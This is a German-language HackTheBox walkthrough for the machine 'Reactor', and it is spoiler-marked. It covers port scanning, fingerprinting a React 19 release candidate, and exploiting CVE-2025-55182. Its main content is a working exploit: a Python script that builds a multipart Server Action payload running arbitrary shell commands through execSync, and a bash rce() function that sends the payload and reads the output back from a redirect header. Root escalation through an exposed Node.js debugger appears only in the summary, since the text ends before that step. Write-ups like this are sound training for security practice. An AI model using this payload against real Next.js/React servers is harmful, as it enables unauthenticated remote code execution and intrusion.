
Kompletter Walkthrough der HTB-Maschine Reactor – CVE-2025-55182 ausnutzen, um eine Shell zu erlangen, dann Root über einen exponierten Node.js-Debugger erlangen. Schritt für Schritt mit Screenshots.
[!CAUTION] Spoilerwarnung. Dies ist ein vollständiger Walkthrough inklusive Flags. Wenn du die Maschine selbst lösen willst, schließe dieses Dokument jetzt und komm zurück, wenn du feststeckst.
| Feld | Details |
|---|---|
| Name | Reactor |
| Betriebssystem | Ubuntu 24.04 LTS (Noble) |
| Schwierigkeit | Mittel |
| CVE | CVE-2025-55182 (CVSS 10.0) |
| Ports | 22 (SSH), 3000 (Next.js) |
| Autor | sonnycroco |
Reactor dreht sich thematisch um ein Überwachungs-Dashboard für ein Kernkraftwerk namens ReactorWatch. Bei der Box geht es ausschließlich um zwei miteinander verkettete Schwachstellen – kein Raten, keine Sackgassen, keine Brute-Force-Angriffe.
Der Weg: Ein Pre-Release-Build von React 19 weist einen kritischen Deserialisierungsfehler auf, der dir mit einer einzigen HTTP-Anfrage nicht authentifizierte Remote-Codeausführung verschafft. Von dort aus verschafft dir ein als Root laufender Node.js-Debugging-Port über eine WebSocket-Nachricht vollen Systemzugriff.
Angriffskette:
Unauthenticated HTTP POST
│
│ CVE-2025-55182 - React RSC multipart deserialization
▼
RCE as node (uid=999)
│
│ Root Node.js process with --inspect exposed on localhost
▼
CDP Runtime.evaluate -> RCE as root (uid=0)
│
├── user.txt ✓
└── root.txt ✓
Das Erste, was man bei jeder neuen Maschine tut, ist herauszufinden, welche Dienste laufen. Ein vollständiger Portscan mit Service-Erkennung, damit nichts übersehen wird.
nmap -sV -sC -T4 -p- --min-rate 5000 10.129.8.56
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
3000/tcp open http Next.js 15.0.3

Nur zwei Ports. SSH ist in dieser Phase eine Sackgasse, da wir noch keine Zugangsdaten haben. Port 3000 ist das Ziel. Nmap verrät uns bereits, dass es sich um Next.js 15.0.3 handelt – ein vielversprechender Ansatzpunkt.
Bevor ich Exploits auf irgendetwas loslasse, will ich die genaue Version von allem wissen, was läuft. Die HTTP-Header haben bereits Next.js verraten, aber die React-Version ist das entscheidende Detail. React 19 war lange als Pre-Release verfügbar und hatte vor dem stabilen Release einige ernsthafte Probleme.
Ich lade eines der clientseitigen JavaScript-Chunks zur Überprüfung herunter:
curl -s http://10.129.8.56:3000/_next/static/chunks/517-d083b552e04dead1.js \
| grep -oP '[0-9]+\.[0-9]+\.[0-9]+-rc-[a-z0-9-]+'
19.0.0-rc-66855b96-20241106
Das rc im Versionsstring ist der entscheidende Hinweis. Es handelt sich um einen Release-Candidate-Build von React 19, nicht um die stabile Version. CVE-Datenbanken bestätigen: CVE-2025-55182 betrifft genau diesen Build. CVSS 10.0.
Da ich schon dabei bin, prüfe ich die Header auf Hinweise zur Middleware:
X-Powered-By: Next.js
x-nextjs-cache: HIT
x-nextjs-prerender: 1
Es gibt keinen x-middleware-rewrite-Header, was bedeutet, dass keine Next.js-Middleware installiert ist. Das schließt CVE-2025-29927 (den Middleware-Bypass) aus – erwähnenswert, damit du keine Zeit damit verschwendest.
Was wir wissen:
experimental.serverActions19.0.0-rc, anfällig für CVE-2025-55182
Die Server Components von React 19 führten Server Actions ein – serverseitige Funktionen, die vom Client per HTTP-POST mit einem Next-Action-Header aufgerufen werden können. Der Multipart-Body-Parser, der diese Anfragen verarbeitet, hat einen kritischen Fehler: Er deserialisiert unsicher einen Referenztyp namens $1:__proto__:then.
Indem ein Angreifer einen Multipart-Body konstruiert, der _response._prefix auf beliebiges JavaScript setzt, wird dieser Code auf dem Server ausgewertet. Die Ausgabe wird anschließend über eine Exception, die Next.js intern für Redirects verwendet (NEXT_REDIRECT), herausgeschmuggelt und landet URL-kodiert im x-action-redirect-Antwortheader.
Jeder POST an jede Seite mit dem Next-Action-Header löst das aus. Keine Authentifizierungsprüfung, kein spezieller Endpunkt. Sende das Payload einfach an / und du bist drin.
Ein kleines Python-Hilfsprogramm, das einen Shell-Befehl als Eingabe nimmt, das Multipart-Payload baut und auf die Festplatte schreibt, damit curl es senden kann:
# /tmp/make_rce.py
import sys
cmd = ' '.join(sys.argv[1:])
cmd_esc = cmd.replace("\\", "\\\\").replace("'", "\\'")
payload = (
b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
b'Content-Disposition: form-data; name="0"\r\n\r\n'
+ ('{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
'"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":'
'"var res=process.mainModule.require(\'child_process\').execSync(\''
+ cmd_esc +
'\').toString().trim();;throw Object.assign(new Error(\'NEXT_REDIRECT\'),'
'{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2",'
'"_formData":{"get":"$1:constructor:constructor"}}}').encode('utf-8')
+ b'\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
b'Content-Disposition: form-data; name="1"\r\n\r\n'
b'"$@0"\r\n'
b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
b'Content-Disposition: form-data; name="2"\r\n\r\n'
b'[]\r\n'
b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad--'
)
with open('/tmp/rce_payload.bin', 'wb') as f:
f.write(payload)
Alles wird in eine Shell-Funktion gepackt, für das Gefühl einer Pseudo-Shell:
rce() {
python3 /tmp/make_rce.py "$*" > /dev/null
curl -s -D /tmp/rh.txt -X POST "http://10.129.8.56:3000/" \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
--data-binary "@/tmp/rce_payload.bin" > /dev/null
grep -oP 'x-action-redirect: /login\?a=\K[^;]+' /tmp/rh.txt \
| python3 -c "import sys,urllib.parse; print(urllib.parse.unquote(sys.stdin.read().strip()))"
}
Der rohe HTTP-Austausch. Die Befehlsausgabe steht direkt im Redirect-Header: